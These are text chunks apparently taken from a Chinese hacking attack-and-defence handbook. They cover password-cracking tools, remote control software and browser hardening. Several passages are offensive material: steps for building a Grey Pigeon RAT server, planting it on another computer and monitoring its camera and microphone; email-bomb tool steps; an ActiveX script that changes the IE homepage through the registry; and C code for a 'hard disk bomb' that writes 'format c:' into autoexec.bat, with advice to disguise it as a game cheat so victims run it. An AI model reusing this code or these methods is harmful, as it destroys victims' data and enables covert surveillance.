    {"text": "01 打开Access密码恢复者，程序要求选择一个mdb文件，单击“打开”按钮。 02 在弹出的对话框中选择需要破解密码的mdb文件，然后在返回的对话框中设置新的密码，单击“确定”按钮即可。"},
    {"text": "例5 破解Office文档密码 对Office文档进行加密，可以预防他人查看或更改文档信息，但是如果自己忘记了这些密码，就需要先破解该文档的密码。 破解Office文档密码的方法很多，主要是通过软件来实现的。 下面以Advanced Office Password Recovery为例，介绍破解Word文档密码的方法。 01 下载并解压Advanced Office Password Recovery软件，启动其主程序，在软件主界面中单击“打开文件”按钮。 02 在弹出的“打开文件”对话框中找到并选中要解密的Word文档，然后单击“打开”按钮。 03 程序开始对加密Word文档进行破解，此过程因密码的复杂程度不同，所需的时间也有所不同，用户需要耐心等待。 04 待破解完成后，程序会将加密文档的密码信息显示出来，并且撤销原加密文档的密码，如果需要，用户只需进入Word文档重新设置密码即可。 除了Word文档密码以外，Advanced Offce Password Recovery软件还能够破解包括Office Excel、Access、PowerPoint以及Outlook VBA宏文件等的密码。"},
    {"text": "例6 利用WinRAR加密文件 通常一提到WinRAR，人们就会想到其压缩和解压缩文件的功能，事实上WinRAR除了基本压缩与解压缩功能外，还附加了许多操作简单、方便实用的功能，下面就具体介绍如何利用WinRAR加密文件。 01 右键单击要加密的文件（此例为“科比”图片文件），然后在弹出的菜单中，单击“添加到压缩文件”命令。"},
    {"text": "03 单击“高级”选项卡，然后在“高级”选项卡界面，单击“设置密码”按钮。 04 在弹出的“带密码压缩”对话框中设置密码信息，然后依次单击“确定”按钮，完成加密并压缩文件。"},
    {"text": "利用WinRAR给文件加密后，不管是对加密文件进行解压还是用WinRAR打开文件，都会弹出“输入密码”对话框，输入正确的密码后才能解压或者打开加密文件。 例7 破解RAR压缩文件密码 使用WinRAR为文件加密后可以让用户能够很好的保护自己的文件不被非法窃取，但如果用户忘记了压缩密码，则可能会造成连自己都无法使用这些加密文件，此时，可以使用一些破解软件进行密码破解。"},
    {"text": "02 在主界面中的“Encrypted RAR-file”文本框中添加要破解密码的压缩文件，在“Type of attack”中选择攻击方式：包括“Brute-force”（强力攻击），“mask”（掩码搜索）、“Dictionnary”（字典攻击）等；"},
    {"text": "“Auto-save”选项的功能是定期自动保存软件当前设置与工作状态，用户可以执行指定参数的文件名、自动保存的时间间隔等，该选项可以让用户继续上次中断的解密进程。"},
    {"text": "04 当密码找到后，用户会在搜索结果窗口中看到密码内容、试探密码总数、破解消耗时间、平均运算速度等信息，如果没有找到密码，也会有相应的提示信息。"},
    {"text": "例8 破解ZIP压缩文件密码 针对ZIP压缩文件，Elcomsoft公司推出了Advanced ZIP Password Recovery软件，专门用于破解ZIP压缩文件密码。 这款软件破解密码的速度很快，可以帮助用户找回ZIP文件的密码，注册后可以解开多达128位数的密码。"},
    {"text": "可以中断计算与恢复并继续上次的计算，它的使用方法与上一节介绍的Advanced RAR Password Recovery软件的使用方法相同，读者可参照前面的信息来进行操作，这里就不多介绍了。"},
    {"text": "例10 破解PDF文档密码 PDF文件格式是电子发行文档的常用格式，越来越多的电子图书、产品说明、公司文告、网络资料、电子邮件都在使用PDF格式文件。"},
    {"text": "忘了PDF文档的密码，可使用PDF Password Remover软件来解决。 01 运行PDF Password Remover，单击“Open PD”按钮打开文件查找对话框。 选择要破解的PDF文件，单击“打开”按钮。"},
    {"text": "01 打开Foxmail，新建一个账户，账户名任意，如user。 02 退出Foxmail，运行Windows资源管理器，找到Foxmail\\mail\\user文件夹，里边有个“account.stg”文件，把它复制到忘记密码的账户（如“user”）目录中，直接覆盖原来的“account.stg”文件。 03 重新运行Foxmail，打开忘记密码的账户，就可以直接打开忘记密码的账户了。"},
    {"text": "例12 查看星号“*”密码 Windows系统中很多软件的密码都是以星号显示的，如果忘记了密码，可使用“XP星号密码查看器”之类的工具软件将密码明文显示出来。"},
    {"text": "使用时，只需先打开显示星号“*”的窗口，启动这类软件，然后按住“Ctrl”键，在密码栏中按下鼠标左键，这些星号“*”密码的原始字符就会显示出来了。"},
    {"text": "第6章 远程控制攻防 第6章 远程控制攻防 6.1 Windows远程桌面连接 远程桌面链接是一种类似Telnet的技术，当某台计算机开启了远程桌面连接功能后，其他用户就可通过网络控制这台计算机。"},
    {"text": "微软公司最早是在Windows 2000操作系统中开始内置了远程桌面功能，后续操作系统也都提供这一组件。 例1 如何启用远程桌面连接 继Windows 2000操作系统以后，微软公司在Windows XP/2003/Vista/7等后续操作系统中也内置了远程桌面功能，并改进了启用方法，操作更加简单。 下面以Windows 7为例介绍在Windows操作系统中启用远程桌面连接的方法。"},
    {"text": "01 在系统桌面上右键单击“计算机”图标，然后在弹出的菜单中单击“属性”命令。 02 在打开的“系统”窗口左侧单击“远程设置”链接。 03 弹出“系统属性”对话框，在默认的“远程”选项卡中勾选“远程桌面”栏的“允许运行任意版本远程桌面的计算机连接（较不安全）（L）”单选项，然后单击“确定”按钮，即可启用远程桌面连接功能。 小提示 如果选择“只允许运行带网络级身份验证的远程桌面的计算机连接（更安全）（M）”单选项，则还需要单击“选择用户”按钮，添加允许连接的用户对象。 例2 如何发起远程桌面连接 当本机开启远程桌面连接功能后，网络上的其他计算机便能向本机发起远程桌面连接。"},
    {"text": "01 单击系统桌面左下角的“开始”按钮 ，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“远程桌面连接”菜单命令。 02 在弹出的“远程桌面连接”对话框中单击“选项”按钮。 03 在默认的“常规”选项卡下输入要连接的主机名。 04 切换到“显示”选项卡，在其中设置远程桌面打开后的分辨率，即“远程桌面大小”设置项目。 小提示 远程桌面大小应当设置为比本地计算机略小，以方便操作，例如，本机桌面为1440×900，那么远程主机的分辨率则应设置为比这个参数略低，可以是1280×768或1280×720等。"},
    {"text": "09 在弹出的对话框中输入登录远程计算机的账户密码。 10 在弹出的对话框中询问是否信任此远程连接，这里单击“连接”按钮继续操作。 11 在接着弹出的对话框中再次询问是否连接，这里单击“是”按钮，确认连接。 12 此时系统会提示其他用户已经登录到目标计算机，并询问是否继续，这里单击“是”按钮，继续操作。 13 此时，目标主机上会弹出对话框提示连接信息，如果没有应答则会在30秒后默认建立远程连接。 14 待对方确认远程桌面连接后，就可以建立远程桌面链接了，即时就可以对远程主机进行删除、添加文件，启动或关闭程序等操作了。 例3 与远程桌面传送文件 在Windows 7操作系统中，可以通过简单的设置来实现远程计算机与本地主机进行文件传送，具体操作如下。 01 单击系统桌面左下角的“开始”按钮 ，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“远程桌面连接”菜单命令。"},
    {"text": "04 返回到上一级对话框，切换到“常规”选项卡，输入需要连接的远程计算机信息，然后单击“连接”按钮，连接到远程计算机。 05 连接成功后，在远程计算机的桌面上打开“计算机”窗口即可看到本地驱动器。 06 如果要将本地电脑中的文件传送到远程计算机中，可打开指定驱动器，然后右键单击要传送的文件，在弹出的菜单中单击“复制”、“剪切”命令。 07 打开远程计算机，进入到指定目录下，右键单击空白处，然后单击“粘贴”命令即可。 6.2 Windows远程协助 如果计算机出现故障，而身边又没有高手能够请教，便可以通过网络请求他人远程协助。 当远程主机和本机建立了远程协助连接后，对方就可以查看本机的系统桌面，并且在用户允许的情况下，远程主机还可以对本机直接进行操作。 例1 允许他人远程协助 在执行远程协助之前，需要先确认计算机是否允许了远程协助，如果没有，还必须先进行设置，允许远程协助，具体操作如下（以Windows 7操作系统为例）。 01 在系统桌面上右键单击“计算机”图标，然后在弹出的菜单中单击“属性”命令。 02 在打开的“系统”窗口中单击左侧窗格中的“远程设置”链接。 03 在弹出的“系统属性”对话框中，切换到“远程”选项卡，勾选“允许远程协助连接这台计算机”复选框，然后单击“确定”按钮即可。 小提示 单击“选择用户”按钮，在打开的界面中可以添加或删除可以连接到本地计算机的账户。"},
    {"text": "例2 邀请他人远程协助 在使用计算机的过程中，如果遇到无法解决的问题，而周围的人无能为力，便可通过网络向远方的好友或计算机高手发送远程协助请求，邀请他们来帮助自己解决困难。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中依次单击“所有程序”→“维护”→“Windows远程协助”菜单命令。 02 在弹出的“Windows远程协助”向导对话框中单击“邀请信任的人帮助您”按钮。"},
    {"text": "03 在弹出的对话框中单击“将该邀请另存为文件”按钮。 04 在打开的“另存为”对话框中设置邀请文件的文件名和保存路径，并将邀请文件的后缀名设置为“.Msrcincident”，然后单击“完成”按钮。"},
    {"text": "例3 利用远程协助帮助他人 在使用计算机时可以向远程主机发送协助请求，来邀请他人帮助自己，同时也可以在收到远程协助的请求后，利用自己掌握的知识来远程帮助其他人，具体操作如下。"},
    {"text": "01 收到远程协助的邀请文件后，对其双击，在弹出的对话框中输入用于连接到远程主机的密码，单击“确定”按钮。 02 在被帮助者计算机上会弹出对话框提示用户是否允许连接，当对方点击“是”按钮后即可建立远程协助连接了。 03 当远程协助成功建立后，双方可在打开的窗口中单击“聊天”按钮，进行交流，缩小故障的范围，如果需要对远程主机进行操作，可以单击“请求控制”按钮。 04 此时在对方的计算机屏幕上会弹出提示框询问用户是否允许远程主机控制本地计算机，如果需要则单击“是”按钮，允许远程控制。 小提示 如果提示远程控制建立失败，则可能是系统设置问题，此时按前面的方法打开“系统属性”对话框，并在“远程”选项卡中单击“高级”按钮，在弹出的“远程协助设置”对话框中勾选“运行此计算机被远程控制”复选框，然后单击“确定”按钮。 05 当远程主机接受控制后，即可通过鼠标和键盘对远程主机进行操作了。"},
    {"text": "例4 远程协助和远程桌面的区别 远程协助和远程桌面的名称相似，都涉及到与远程计算机的连接，我们可以从它们的用途来加以区分。 使用远程桌面是从另一台计算机远程访问本地主机，例如，可以使用远程桌面从家里连接到工作计算机。"},
    {"text": "您将可以访问所有的程序、文件和网络资源，就好像坐在自己的工作计算机前面一样，在您处于连接状态时，远程计算机屏幕将显示为注销状态。"},
    {"text": "例1 使用腾讯QQ实现远程控制 对于广大电脑用户来说，腾讯QQ一定不会陌生，甚至很多用户打开电脑的第一件事就是登录QQ。 QQ软件也具有远程控制功能，通过此项功能，用户可以想QQ好友申请协助，在好友同意并获得控制权限后便可轻松的操作您的电脑。 使用腾讯QQ实现远程控制的方法如下。 01 登录腾讯QQ，双击需要申请协助的好友头相，在打开的聊天窗口中单击“应用”下拉按钮，然后在弹出的下拉菜单中单击“远程协助”命令。"},
    {"text": "04 本地QQ程序会询问用户是否确定让对方查看自己的屏幕，这里单击“确定”按钮继续操作。 05 远程协助建立成功以后，在好友的QQ聊天窗口右侧可以看到远程主机的系统桌面，此时可单击工具栏的“全屏”按钮，切换到全屏模式以便查看。 小提示 如果觉得“全屏”模式会影响对本机的操作，可以单击“窗口浮动”按钮，让远程桌面以一个浮动的窗口进行显示。 06 至此，远程好友还只能查看系统桌面，而不能对本地计算机进行操作，如果希望对方控制计算机以帮助解决问题，可以单击QQ聊天窗口中的“申请受控”按钮。 07 对方QQ程序会弹出对话框询问是否接受受控要求，待好友单击“是”按钮后，单击“是”按钮可以获得本地计算机的控制权限。 小提示 接受受控请求后，可以获得对方计算机的控制权限，包括删除或添加文件，运行远程计算机中的程序等。 08 当获得本地主机的控制权限后，好友即可远程操作本地主机，并解决存在的问题。"},
    {"text": "例2 使用QQ远程控制获取被控端主机文件 借助QQ远程协助，我们可以从被控端主机上获取需要的文件，具体操作如下。 01 参照前面的方法与目标主机建立远程控制，在对方QQ上打开与本地QQ的聊天窗口，然后依次单击“文件”→“发送文件夹”菜单命令。"},
    {"text": "例3 使用QQ远程控制关闭被控端主机 使用QQ远程控制，不但能在对方电脑上开启，关闭程序，还可以将远程主机关闭，具体操作如下。 01 参照前面介绍的方法，与目标电脑建立好远程控制。 02 在对方电脑上单击桌面左下角的“开始”按钮，在弹出的“开始”菜单中单击“关闭”按钮即可。"},
    {"text": "例4 设置QuickIP的服务器端和客户端 对于网络管理来说，往往一台主机要管理多台计算机，需要应用到多点远程控制技术。 QuickIP就是一款具有多点远程控制技术的工具，常用于服务器管理、远程办公、远程资源共享、网吧管理、远程教育、远程监控等。 在使用QuickIP进行远程控制之前，需要先对服务器端和客户端进行相应的设置，然后才能进行操作。"},
    {"text": "小提示 由于QuickIP将服务器端和客户端合并在一起，所以每台计算机中都需要安装服务器端和客户端，这样，安装了QuickIP的网络计算机都可以控制其他计算机，或被其他计算机控制。"},
    {"text": "02 启动QuickIP服务器，系统会弹出如下对话框提示用户修改密码，在其中单击“确定”按钮。 小提示 为了实现安全的密码验证登录，QuickIP设定客户端必须知道服务器的登录密码。"},
    {"text": "03 在弹出的对话框中设置密码信息，然后单击“确定”按钮。 04 在弹出的对话框中会提示用户密码设置成功，这里单击“确定”按钮，继续操作。"},
    {"text": "06 启动QuickIP客户机程序，在打开的程序窗口中单击工具栏的“添加主机”按钮。 07 在弹出的对话框中输入要添加的远程主机的账户名和对应的密码，然后单击“确定”按钮。 08 在返回的程序主窗口中即可看到添加的远程主机。 例5 使用QuickIP实现远程控制 添加好远程主机后，用户就可以在客户端程序窗口中查看远程主机的各种信息、进行文件传输、远程关机、远程重启等操作，具体操作如下。 01 启动QuickIP客户端程序，在打开的窗口中依次单击“展开”按钮 ，展开远程主机的“远程磁盘驱动器”选项。"},
    {"text": "02 进入到指定文件夹，右键单击需要传输的文件，然后在弹出的菜单中单击“复制”命令。 03 展开本地主机，进入到指定目录下，右键单击空白处，单击“粘贴”按钮，可以将远程主机中的文件传输到本地主机中。 04 展开远程主机下的“远程控制”项，用户可以根据需要进行相关的操作，例如，要查看远程主机屏幕，则双击“屏幕控制”项。 05 在打开的窗口中可看到远程主机系统桌面，用户可使用窗口左上方的工具按钮进行相关的操作。 06 如果想对远程主机中的系统进程进行管理，可双击展开“远程主机进程列表”项，然后根据实际情况进行操作即可。 例6 使用灰鸽子实现远程控制 灰鸽子是一款功能强大的远程控制软件，适用于Windows XP/2003等操作系统，使用它可以实现查看远程计算机系统信息、修改远程注册表以及关闭远程计算机等操作。 使用灰鸽子软件对远程计算机进行控制需要先生成服务器端，然后将服务器端在远程计算机上运行才能进行控制，具体操作如下。 01 下载并安装灰鸽子软件，启动其主程序，在打开的窗口中单击“配置服务程序”按钮。"},
    {"text": "02 在打开的“服务器配置”对话框中切换到“自动上线”选项卡，在其中根据提示输入IP通知地址、上线备注、连接密码等信息。 03 切换到“安装选项”选项卡，在其中设置运行服务器程序后的有关选项。 04 切换到“启动项”选项卡，在其中选择是否将服务端程序信息写入系统注册表等选项。 05 切换到“高级选项”选项卡，设置服务端程序进程的处理方式，单击“保存路径”文本框右侧的“浏览”按钮 。 06 在打开的对话框中设置生成服务器的保存位置和名称，单击“保存”按钮，然后在返回的“服务器配置”对话框中单击“生成服务器”按钮。 程序开始配置服务器程序，配置完成后会弹出对话框提示配置成功。 07 将生成的服务器程序文件复制到远程计算机中并运行，待程序正常运行后会弹出对话框提示灰鸽子远程控制服务端安装成功。 08 远程控制服务端安装完成后，当被控端计算机与Internet连接时，就会自动与客户端连接。"},
    {"text": "09 在“文件管理”选项卡下，用户可以先展开被控端计算机，然后在主控端与被控端计算机之间进行各种文件操作，包括删除、复制、粘贴文件等。"},
    {"text": "10 切换到“远程命令管理”选项卡，在此界面中可以对远程计算机信息进行全面的查看，例如，要查看远程计算机的配置信息，则选中“系统信息”选项，然后单击左下角的“配置信息”按钮。"},
    {"text": "14 如果想要监听和保存被控计算机的视频和语音信息，可以在灰鸽子主程序窗口中单击“视频语音”按钮，然后在打开的对话框中根据需要进行设置即可。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮 ，在弹出的“开始”菜单中单击“运行”命令。 02 在弹出的“运行”对话框中输入“Services.msc”命令，然后按下Enter键。 03 在打开的“服务”窗口中找到并双击灰鸽子远程服务项，本例为“Server 2010”，对其双击鼠标左键。"},
    {"text": "05 此外还可以通过终止灰鸽子服务进程来卸载灰鸽子程序，同时按下“Ctrl＋Shift＋Esc”组合键，然后在打开的对话框中选中灰鸽子进程“IEXPLORE.EXE”，然后单击“终止进程”按钮将其终止。 此外，用户也可以在主控端计算机上使用灰鸽子软件卸载远程服务，方法是：在灰鸽子程序主界面选中要操作的被控端计算机，切换到“远程控制命令”选项卡，在窗口下方单击“进程管理”按钮，在右侧单击“查看进程”按钮，在显示出来的进程中找到灰鸽子远程服务进程“IEXPLORE.EXE”，然后单击右侧的“终止进程”即可。"},
    {"text": "第7章 网络攻防 第7章 网络攻防 7.1 网页恶意代码防范 在网络快速普及的今天，恶意代码的肆虐，在Internet上不经意地打开一个网站就可能使电脑感染病毒，造成浏览器首页被篡改或破坏等无法预料的严重后果。"},
    {"text": "例1 网页恶意代码的攻击原理与方式是怎样的 同解决其他问题一样，要预防和清除网页恶意代码，需要从其根本入手，了解其攻击的原理和方式，进而对症下药，彻底的清除恶意代码的威胁。 小提示 恶意代码是一种具有入侵性和破坏性的程序，通常在用户不知情的情况下安装和运行，一般利用软件漏洞、用户本身或者两者的混合等手段来传播恶意代码。"},
    {"text": "小提示 ActiveX是微软公司提供的一组使用COM使软件部件在网络环境中进行交互的技术集，是Internet应用开发的重要技术之一，广泛应用于Web服务器，以及客户端的各个方面。"},
    {"text": "随着ActiveX控件的广泛应用，考虑到Web的安全性，也为了在服务器能够与客户端之间建立良好的信任关系，就规定每个在Web上使用的ActiveX控件都需要设置一个“代码签名”，如果要正式发布，就必须向相关机构申请。"},
    {"text": "这里介绍一个简单的恶意代码供大家学习： <html> <head> <title>网页恶意代码实例</title> <body> <script> document.write（'<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXcomp onent></APPLET>'） <!--使用函数调用ActiveX--> function f（） ｛x1=document.applets［0］; x1.setCLSID（'｛F935DC22-1CF0-11D0-ADB9-00C04FD58A0B｝'）; x1.createInstance（）; xm=x1.GetObject（）; xm.RegWrite（'HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page'，'http://w ww.baidu.com'）; ｝ function init（）｛setTimeout（'f（）'，1000）;｝ init（）; </script> <h1>恶意代码攻击实验</h1><hr> <h2>IE首页已被修改为“http://www.baidu.com”。 </h2> </body> </html> 此段代码可将IE浏览器的首页地址改为“http://www.baidu.com”，它主要是通过修改注册表“HKEY_CURRENT_USER\\SOFT WARE\\Microsoft\\Internet Explorer\\Main\\Start Page”中的键值来完成的。 例2 利用360安全卫士查杀恶意代码 网页恶意代码会对操作系统和个人信息安全都会造成严重的威胁，应经常对电脑中的恶意代码进行查杀。 目前很多安全辅助类软件都提供了这类查杀功能，例如，QQ电脑管家、金山卫士等，下面以QQ电脑管家为例进行介绍。 01 下载并安装QQ电脑管家，启动其主程序，在主界面中单击“清理垃圾”按钮。 02 切换到“清理垃圾”界面，在窗口下方的列表中勾选“清理插件”复选框，单击“开始扫描”按钮。"},
    {"text": "但执行这些操作时，可能电脑已经被恶意代码感染了。 要想保证电脑不被恶意代码感染，必须先从防范做起。 网页恶意代码的预防主要应该注意以下几个方面。 不要轻易打开一些并不十分熟悉的网站，尤其是有关色情、暴力、黑客信息的网站，否则计算机很可能在不经意间就染上了恶意代码。 打开IE浏览器的“Internet选项”对话框，将网络的安全级别调到“中”或“高”，以便在浏览网页时网络自动屏蔽危险的代码。 打开IE浏览器的“Internet选项”对话框，将一些危险的网站添加到受限站点中，以预防不小心打开这些网站，感染上恶意代码。 小提示 可能有些读者对IE浏览器的“Internet选项”对话框中的设置不太熟悉，本书会在后面的学习中为大家作详细的介绍。 开启Windows自带的防火墙或者在网上下载并安装专业的防火墙软件，例如，著名的天网防火墙，并且开启防火墙的时时监控功能。 例4 解决主页设置锁定的问题 主页设置锁定很可能是因为恶意代码修改了注册表信息，可以通过以下办法来解决。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。 02 在弹出的“注册表编辑器”窗口中，依次展开“HKEY_CURRE-NT_USER\\Software\\Microsoft\\InternetE xplorer\\control Panel”子键，在右侧窗口中右键单击空白处，在弹出的菜单中依次单击“新建→DWORD值”菜单命令。 03 将新建的键值项命名为“HomePage”，对其双击鼠标左键，在弹出的“编辑字符串”对话框中，将“数值数据”文本框内的值改为“0”，然后单击“确定”按钮即可。"},
    {"text": "7.2 网络炸弹攻防 “网络炸弹”的由来是因为黑客在使用一种大量信息瞬间发送式的攻击后，被攻击主机立即会产生网络阻塞、蓝屏、死机等现象，使被攻击主机无法正常使用。 例1 网络炸弹具有这些危害 “网络炸弹”可以理解为是在特定逻辑条件满足时实施破坏的程序，与病毒相比，炸弹强调破坏作用本身，但炸弹在破坏手段的选择上和病毒的攻击手段没有什么大的区别，因此防范炸弹和病毒具有许多相同的方法。 通常情况下，网络炸弹具有以下危害。 直接破坏数据：网络炸弹通常是以发送大量垃圾信息来堵塞网络，这些垃圾信息会占用网络资源，并且破坏用户网络中的各种数据。 不可控制的意外性：在黑客使用网络炸弹攻击目标主机时，一旦网络炸弹进行攻击，将无法控制，这很可能导致局部网络瘫痪，甚至更可怕的后果。 还原数据比较困难：受到网络炸弹攻击后，所有损坏的数据将被炸弹信息取代，对于一些系统数据可以系统还原来恢复，但是对于一些特殊数据，如邮箱中的邮件、附件等是无法找回的。 引发连带的社会灾难：正如前文所说的，黑客可能会使用网络炸弹冒充用户在论坛等网络空间中发布虚假信息，这很可能导致他人误认为是本人的消息进而造成不可想象的后果。 随着网络炸弹功能的扩展，操作界面逐步倾向傻瓜化，它的影响也越来越广泛，从电子邮件、聊天工具到服务器都可以进行攻击。 例2 网络炸弹都有那些种类 在个人电脑的程序中，病毒、木马、网络炸弹是常见的几种破坏手段，对电脑系统进行攻击是它们共同的特点，它们的区别主要体现在传播途径和破坏手段不同。 如今，网络中最常见的网络炸弹主要有IP炸弹、E-mail炸弹、java炸弹以及硬盘炸弹等。 1．E-mail炸弹 E-mail炸弹是黑客最常用的攻击手段，大多是通过一次性或反复地向目标邮箱发送大量的垃圾邮件，这些邮件具有地址不详、容量庞大、发送时间间隔短等特征，其典型危害就是信箱挤爆、无法正常收信，严重时还可能导致邮件服务器瘫痪。 2．硬盘炸弹 硬盘炸弹是一种影响很恶劣的炸弹，它的目的就是损坏目标计算机中的数据，如连环格式化等。 攻击者会将编写好的炸弹程序上传的网上，这样一旦用户访问这些网站，就会运行这些炸弹程序，进而造成严重的后果。 例如，有的硬盘炸弹在运行后并不会立即发作，而是会在几天后定时发作，软件本身还加了密、有壳保护，可以使硬盘数据丢失，假0道损坏，硬盘假死，软驱驱动无效等情况。"},
    {"text": "#include<stdio.h> Main（） ｛ FILE*fp; Charfilename［30］=”c:\\\\autoexec.bat”，filecontent［100］=”c:\\\\windows\\\\command\\\\format c:/q-/autotest/u”; If（（fp=fopen（filename，”w”））==NULL） Printf（“cannot open filename\\n”）; fputs（filecontent，fp）; printf（“现在正在扫描你的计算机:\\n正在加载外挂:”）; fclose（fp）; ｝ 以上代码在VC＋＋6.0和Turbo C 2.0上运行通过，程序中的中文可以自己随意编写。 编译通过后，只要吧这个可执行程序加上一个极具诱惑的名字和一个漂亮的图标，欺骗目标用户运行就可以了，例如，把这个程序仿照成一个QQ农场外挂，那么中招的人就会非常多。"},
    {"text": "例如，使用Java编程语言编写具有破坏功能的网页，用户只要访问这些网页，就会在系统桌面上不断的弹出大量网页浏览器窗口，由于网页浏览器占用系统资源是很可观的，所以这样的现象一旦出现，就会导致系统资源迅速耗尽，进而出现蓝屏、死机等现象。 4．IP炸弹 IP炸弹是最常见的网络炸弹之一，这类炸弹是利用Windows的系统协议漏洞进行攻击的，黑客们只要查到用户的IP地址即可使用专用的“炸弹”进行攻击，被攻击主机通常会出现断线、蓝屏、死机或重新启动等现象。"},
    {"text": "02 在弹出的“选择地址文件”对话框中选中已经制作好的Email邮箱列表文件，然后单击“打开”按钮。 03 在返回的窗口中即可看到添加的列表文件，然后单击“邮件内容”按钮。 04 在打开的对话框中编写邮件内容，编写完成后单击“邮件附件”按钮。 05 在打开的“邮件附件”界面单击“附件增加”按钮。 06 在弹出的对话框中选中要添加的附件，然后单击“打开”按钮。"},
    {"text": "09 在打开的对话框中填写发件地址和收件地址，并且设置SMTP服务器，单击“测试”按钮，可查看服务器是否有效，确认无误后单击“确定”按钮。"},
    {"text": "11 在返回的窗口中单击“选项”按钮，在弹出的对话中设置邮件发送的详细信息，然后单击“确定”按钮。 12 在返回的界面中单击“发送控制”按钮，然后在打开的界面中根据实际情况设置需要控制的邮件地址。 13 设置完成后，单击“开始”按钮，即可指定邮箱定时发送邮件了。"},
    {"text": "清理启动项：很多网络炸弹驻留在系统中，并伴随系统的启动而启动，所以，应谨慎系统的恶意启动项。 修复系统漏洞：不管是网络炸弹、木马还剩病毒，系统漏洞都是一个主要的进攻渠道，所以经常检查并及时修补系统漏洞也可以在一定程度上预防网络炸弹攻击。 安装杀毒软件：目前很多杀毒软件都具有防范网络炸弹攻击的功能。 需要注意的是应在软件官方网站下载或购买正本的杀毒软件。"},
    {"text": "谨慎填写邮件地址：很多邮件炸弹的攻击者都会使用一些软件来搜寻用户的E-mail地址，而这些地址很多时候都是用户在注册论坛或某网站时所暴露的。 所以为避免黑客搜寻到自己的邮箱地址，在注册某网站信息时，可以将邮箱地址填写为“12345@sina。"},
    {"text": "例5 清除网络标题栏被添加的非法信息 如果用户在使用电脑时遇到网络窗口顶端的蓝色标题栏上多出了某网站的广告标题，可以用以下方法解决。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。 02 打开“注册表编辑器”窗口，依次展开“HKEY_CURRENT_USER\\Software\\Microsoft\\InternetExplorer\\Main”子键，在右侧将“Window Title”键值项的名称改为“Window TitleMicrosoft Internet Explorer”，然后按下“Enter”键即可。"},
    {"text": "7.3 浏览器安全设置 网页浏览器是浏览网页和下载文件时最常用的门户工具，对网页浏览器进行一些安全保护设置，可以在很大程度上防止病毒或黑客攻击。 例1 设置Internet安全级别 在网页浏览器中进行安全级别的设置，可防止用户在上网过程中无意识地打开包含病毒和木马程序的网页，以及下载到带病毒的文件。 设置Internet安全级别的具体方法如下。"},
    {"text": "01 启动网页浏览器，如IE。 按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。 02 在弹出的“Internet属性”对话框中切换到“安全”选项卡，单击“Internet”选项，单击“默认级别”按钮，拖动“该区域的安全级别”栏中的滑块，设置需要的安全级别，然后单击“确定”按钮，完成设置。 例2 启动浏览器时不加载任何页面 正常情况下，网页浏览器启动时会打开默认主页或者一个空白页面，如果默认主页被恶意更改，一旦启动网络就可能进入危险的网站，从而给电脑安全带来巨大的威胁，为了避免这种情况的发生，可以设置在启动浏览器时不加载任何页面，具体操作方法如下。 01 启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。 02 在弹出的“Internet属性”对话框的“常规”选项卡中，单击“使用空白页”按钮，然后单击“确定”按钮保存设置即可。"},
    {"text": "01 启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。 02 在弹出的“Internet属性”对话框中切换到“隐私”选项卡，在打开的界面中根据需要进行相关的设置，然后单击“确定”按钮即可。 例4 禁止更改安全区域设置 当在网页浏览器的“安全”选项卡中设置了安全级别后，若不想让他人随意更改，可以通过修改注册表信息，禁止他人更改安全区域设置，具体操作如下。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在弹出的开始菜单的搜索栏中输入“regedit”命令，然后单击“Enter”键。 02 在弹出的“注册表编辑器”窗口中，依次展开“HKEY_LOCAL_MACHINE\\Software\\Polics\\Microsoft\\Windows\\CurrentVersion\\InternetSettings”子键。 03 将新建的键值项命名为“Security_options_edit”，然后对其双击鼠标左键。"},
    {"text": "例5 过滤弹出广告页面 在用户浏览网页的过程中，常会弹出网站自带的广告窗口，这不但会影响对网页的正常浏览，如果用户不小心点到广告窗口，还可能会进入带有病毒或木马的黑客网站，通过启用阻止弹出广告页面的功能，可以有效避免这一情况。"},
    {"text": "01 启动网页浏览器，按下“Alt”键激活菜单栏，单击菜单栏中的“工具”按钮，在弹出的下拉菜单中单击“Internet选项”命令。 02 在弹出的“Internet属性”对话框中，单击“安全”选项卡，然后单击“自定义级别”按钮。"},
    {"text": "03 在弹出的窗口中找到“使用弹出窗口阻止程序”，在其下方选择“启用”单选项，单击“确定”按钮。 04 在返回到“Internet属性”对话框中，再次单击“确定”按钮完成设置。"},
    {"text": "例6 禁止用户添加或删除安全区域中的站点 在“Internet选项”的“安全”选项卡有一组安全级别设置，这里的安全区域是一组具有相同安全级的网站。"},
    {"text": "如果不启用本设置，则用户可以向“可信站点”区域和“受限站点”区域添加网站，也可以删除其中的网站，还可以修改“本地Intranet区域”的设置。"},
    {"text": "例7 设置“Internet属性”对话框中选项卡的访问权限 “Internet属性”对话框的各个选项卡的设置都非常重要，本设置用于防止随便修改“Internet属性”对话框的各选项卡。"},
    {"text": "01 启动网页浏览器，单击工具栏中的“安全”按钮，在弹出的下拉菜单中单击“SmartScreen筛选器”命令。 02 在弹出的对话框中选择“打开SmartScreen筛选器（推荐）”单选项，然后单击“确定”按钮即可。"},
    {"text": "此外，如果在浏览网页的过程中遇到可疑网站，可以手动对该网站进行检查，具体操作如下。 01 启动网页浏览器，单击工具栏中的“安全”下拉按钮，然后在弹出的下拉菜单中依次单击“SmartScreen筛选器”→“检查此网站”命令。"},
    {"text": "例9 禁止更改浏览器的主页 修改网页浏览器的默认主页地址是恶意网页常用的一招，即使在“Internet选项”对话框中将主页地址进行修改也无济于事。 在日常生活中可以禁止他人更改浏览器主页，以避免不必要的麻烦，具体操作方法如下。"},
